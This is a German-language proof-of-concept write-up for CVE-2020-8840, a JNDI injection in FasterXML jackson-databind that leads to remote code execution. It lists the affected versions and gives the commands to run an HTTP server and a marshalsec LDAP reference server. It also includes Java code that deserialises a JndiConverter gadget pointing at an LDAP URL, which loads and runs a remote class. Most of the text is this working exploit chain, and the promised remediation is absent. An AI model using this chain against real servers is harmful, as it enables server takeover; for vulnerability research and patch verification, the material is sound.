
PoC-Exploit für CVE-2020-8840: JNDI-Injection, die zu Remote-Code-Ausführung in FasterXML jackson-databind führt. Enthält Umgebungseinrichtung, Exploit-Kette und Anleitung zur Behebung.
jackson-databind ist eine JSON-Bibliothek des FasterXML-Projekts.
Am 19. Februar veröffentlichte das NVD eine Sicherheitswarnung, die eine durch JNDI-Injection verursachte Remote-Codeausführungsschwachstelle in jackson-databind (CVE-2020-8840) offenlegte, mit einem CVSS-Score von 9,8. In betroffenen Versionen von jackson-databind fehlen bestimmte xbean-reflect/JNDI-Blacklist-Klassen wie org.apache.xbean.propertyeditor.JndiConverter, was es einem Angreifer ermöglicht, mittels JNDI-Injection Remote-Codeausführung zu erreichen und die Kontrolle über den Server zu erlangen (Webdienstebene).
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2


Hier wird ein Webdienst mit simplehttp eingerichtet.
python -m SimpleHTTPServer 8080

Hier wird marshalsec verwendet. GitHub-Link: https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit


poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
